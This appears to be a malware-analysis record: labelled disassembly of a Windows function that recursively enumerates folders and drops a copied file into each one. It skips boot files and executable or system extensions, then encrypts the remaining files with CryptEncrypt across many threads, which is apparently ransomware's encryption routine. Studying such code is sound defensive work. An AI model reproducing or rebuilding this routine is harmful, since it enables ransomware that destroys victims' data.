Function at 0x402130
Capabilities:
Copy file
Create thread
Encrypt or decrypt via wincrypt
Enumerate files on windows
Enumerate files recursively
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xcec
push ebx
push esi
mov esi, dword [ebp + 8]
xor eax, eax
push edi
mov dword [ebp - 0xc], ecx
lea edi, [ebp - 0x4c8]
xor ebx, ebx
mov ecx, 0x94
mov dword [ebp - 0x18], ebx
rep stosd dword es:[edi], eax
cmp dword [ebp + 0x10], eax
je 0x4022fc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xae4]
push eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameW]
test eax, eax
je 0x402663
push dword [ebp - 0x10]
lea eax, [ebp - 0xcec]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x40a65c
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push dword [section..data]
lea eax, [ebp - 0x4c8]
mov dword [ebp - 0x4c8], 0x10
push ebx
push ebx
push eax
push dword [0x40c004]
lea eax, [ebp - 0xae4]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileExW]
mov edi, eax
cmp edi, 0xffffffff
je 0x4022f5
mov esi, dword [ebp + 0xc]
nop word [eax + eax]
push 0x40a664
lea eax, [ebp - 0x49c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x4022dc
push 0x40a668
lea eax, [ebp - 0x49c]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x4022dc
test byte [ebp - 0x4c8], 0x10
je 0x4022dc
lea eax, [ebp - 0x49c]
push esi
push eax
call fcn.00402ad0
add esp, 8
test eax, eax
jne 0x4022dc
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x6d0]
push eax
push 0x104
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameW]
test eax, eax
je 0x402663
lea eax, [ebp - 0x49c]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x40a670
lea eax, [ebp - 0x6d0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
lea eax, [ebp - 0x6d0]
push eax
lea eax, [ebp - 0x8dc]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
push 0x40c430
lea eax, [ebp - 0x8dc]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push 1
lea eax, [ebp - 0x8dc]
push eax
push 0x40c020
call dword [sym.imp.KERNEL32.DLL_CopyFileW]
lea eax, [ebp - 0xcec]
push eax
lea eax, [ebp - 0x6d0]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
mov ecx, dword [ebp - 0xc]
lea eax, [ebp - 0x6d0]
push 1
push esi
push eax
call fcn.00402130
lea eax, [ebp - 0x4c8]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
jne 0x4021e0
mov esi, dword [ebp + 8]
push edi
call dword [sym.imp.KERNEL32.DLL_FindClose]
push dword [section..data]
lea eax, [ebp - 0x4c8]
push 0
push 0
push eax
push dword [0x40c004]
push esi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileExW]
mov dword [ebp - 0x1c], eax
cmp eax, 0xffffffff
je 0x402822
nop word [eax + eax]
test byte [ebp - 0x4c8], 0x10
jne 0x402649
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x8dc]
push eax
push 0x104
push esi
call dword [sym.imp.KERNEL32.DLL_GetFullPathNameW]
test eax, eax
je 0x402663
lea eax, [ebp - 0x49c]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
lea eax, [ebp - 0x8dc]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
mov edi, dword [ebp - 0x10]
xor esi, esi
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x78], 0x40c430
mov dword [ebp - 0x74], str.autorun.inf
mov dword [ebp - 0x70], str.boot.ini
mov dword [ebp - 0x6c], str.bootfont.bin
mov dword [ebp - 0x68], str.bootsect.bak
mov dword [ebp - 0x64], str.bootmgr
mov dword [ebp - 0x60], str.bootmgr.efi
mov dword [ebp - 0x5c], str.bootmgfw.efi
mov dword [ebp - 0x58], str.desktop.ini
mov dword [ebp - 0x54], str.iconcache.db
mov dword [ebp - 0x50], str.ntldr
mov dword [ebp - 0x4c], str.ntuser.dat
mov dword [ebp - 0x48], str.ntuser.dat.log
mov dword [ebp - 0x44], str.ntuser.ini
mov dword [ebp - 0x40], str.thumbs.db
nop word [eax + eax]
push dword [ebp + esi*4 - 0x78]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x40240c
inc esi
cmp esi, 0xf
jb 0x4023f0
mov eax, 1
jmp 0x40240e
xor eax, eax
cmp eax, 1
jne 0x402497
mov edi, dword [ebp - 0xc]
xor esi, esi
mov dword [ebp - 0x3c], 0x40a60c
mov dword [ebp - 0x38], str..sys
mov dword [ebp - 0x34], str..dll
mov dword [ebp - 0x30], str..lnk
mov dword [ebp - 0x2c], str..msi
mov dword [ebp - 0x28], str..drv
mov dword [ebp - 0x24], str..exe
nop dword [eax]
push dword [ebp + esi*4 - 0x3c]
push edi
call dword [sym.imp.KERNEL32.DLL_lstrcmpiW]
test eax, eax
je 0x402497
inc esi
cmp esi, 7
jb 0x402450
push 0xd16c
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
lea ecx, [ebp - 0x8dc]
mov dword [ebp + ebx*4 - 0x178], eax
push ecx
add eax, 0x400
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
inc ebx
mov dword [ebp - 0x18], ebx
cmp ebx, 0x40
jl 0x402643
push 8
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
push dword [0x40c018]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00402b70
xor ebx, ebx
mov dword [ebp - 8], ebx
nop word [eax + eax]
mov edi, dword [ebp + ebx - 0x178]
push 0x28
lea esi, [edi + 0xcf24]
push esi
call fcn.00404e80
lea ebx, [edi + 0xcf4c]
push 0x20
push ebx
call fcn.00404e80
lea eax, [edi + 0xcf6c]
mov dword [ebp - 0xc], esi
add esp, 0x10
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 0x28
push ecx
push edi
cld
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp - 0x14]
mov ecx, dword [ebp - 4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop ecx
lea ecx, [ebp - 4]
push 0x190
push ecx
push eax
mov eax, dword [ebp - 0x18]
push 0
push 1
push 0
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edx, dword [ebp - 8]
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], 0x20
mov eax, dword [ebp + edx - 0x178]
add eax, 0xd06c
mov dword [ebp - 0xc], eax
push ecx
push edi
cld
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0xc]
mov ecx, dword [ebp - 4]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 4]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop ecx
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 4]
push 0x140
push ecx
push eax
push 0
push 1
push 0
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov ebx, dword [ebp - 8]
lea eax, [ebp - 0x5c8]
add eax, ebx
push eax
push 0
mov ecx, dword [ebp + ebx - 0x178]
push ecx
push 0x401af0
push 0
push 0
mov dword [ecx + 0xcf20], 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebp + ebx - 0x278], eax
add ebx, 4
mov dword [ebp - 8], ebx
cmp ebx, 0x100
jb 0x4024d0
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x278]
push eax
push 0x40
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
xor esi, esi
nop dword [eax]
push dword [ebp + esi - 0x278]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp + esi - 0x178]
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
add esi, 4
cmp esi, 0x100
jb 0x402610
xor ebx, ebx
mov dword [ebp - 0x18], ebx
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp + 8]
lea ecx, [ebp - 0x4c8]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
je 0x40266e
mov eax, dword [ebp - 0x1c]
jmp 0x402330
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
test ebx, ebx
jle 0x402819
push 8
push 8
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
push dword [0x40c018]
mov ecx, eax
mov dword [ebp - 0xc], eax
call fcn.00402b70
xor edi, edi
mov dword [ebp - 4], edi
nop dword [eax]
lea eax, [edi*4]
mov edi, dword [ebp + eax - 0x178]
push 0x28
lea esi, [edi + 0xcf24]
push esi
call fcn.00404e80
lea ebx, [edi + 0xcf4c]
push 0x20
push ebx
call fcn.00404e80
lea eax, [edi + 0xcf6c]
mov dword [ebp - 0x14], esi
add esp, 0x10
mov dword [ebp - 0x20], eax
mov dword [ebp - 8], 0x28
push ecx
push edi
cld
mov esi, dword [ebp - 0x14]
mov edi, dword [ebp - 0x20]
mov ecx, dword [ebp - 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop ecx
lea ecx, [ebp - 8]
push 0x190
push ecx
push eax
mov eax, dword [ebp - 0xc]
push 0
push 1
push 0
push dword [eax + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov esi, dword [ebp - 4]
mov dword [ebp - 0x20], ebx
mov dword [ebp - 8], 0x20
lea edx, [esi*4]
mov eax, dword [ebp + edx - 0x178]
add eax, 0xd06c
mov dword [ebp - 0x14], eax
push ecx
push edi
cld
mov esi, dword [ebp - 0x20]
mov edi, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebp - 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop ecx
mov esi, dword [ebp - 0xc]
lea ecx, [ebp - 8]
push 0x140
push ecx
push eax
push 0
push 1
push 0
push dword [esi + 4]
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
mov edi, dword [ebp - 4]
lea eax, [ebp - 0x5c8]
lea ebx, [edi*4]
mov ecx, dword [ebp + ebx - 0x178]
add eax, ebx
push eax
push 0
push ecx
push 0x401af0
push 0
push 0
mov dword [ecx + 0xcf20], 0
call dword [sym.imp.KERNEL32.DLL_CreateThread]
inc edi
mov dword [ebp + ebx - 0x278], eax
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 4], edi
cmp edi, ebx
jl 0x4026a0
push 0xffffffffffffffff
push 1
lea eax, [ebp - 0x278]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_WaitForMultipleObjects]
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
xor esi, esi
test ebx, ebx
jle 0x402819
push dword [ebp + esi*4 - 0x278]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push dword [ebp + esi*4 - 0x178]
push 0
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.DLL_HeapFree]
inc esi
cmp esi, ebx
jl 0x4027f1
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc